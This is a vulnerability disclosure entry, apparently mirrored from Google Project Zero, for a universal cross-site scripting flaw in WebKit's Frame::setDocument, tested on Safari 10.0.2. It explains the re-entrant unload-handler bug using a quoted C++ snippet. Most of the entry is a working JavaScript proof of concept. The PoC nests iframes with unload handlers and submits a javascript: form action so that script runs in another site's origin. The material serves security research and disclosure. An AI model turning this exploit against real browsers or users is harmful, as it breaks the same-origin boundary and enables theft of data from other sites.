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Apple WebKit 10.0.2 - 'Frame::setDocument' Universal Cross-Site Scripting
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来源：Google Security Research 作者：Google 发布时间：2017-02-27
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<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057
Here's a snippet of Frame::setDocument.
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction();
m_doc = newDocument.copyRef();
...
}
Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.
PoC:
-->
"use strict";
let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
a.contentWindow.onunload = () => {
f.src = "javascript:''";
let b = f.contentDocument.appendChild(document.createElement("iframe"));
b.contentWindow.onunload = () => {
f.src = "javascript:''";
let doc = f.contentDocument;
f.onload = () => {
f.onload = () => {
f.onload = null;
let s = doc.createElement("form");
s.action = "javascript:alert(location)";
s.submit();
};
f.src = "https://abc.xyz/";
};
};
};
f.src = "javascript:''";
<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
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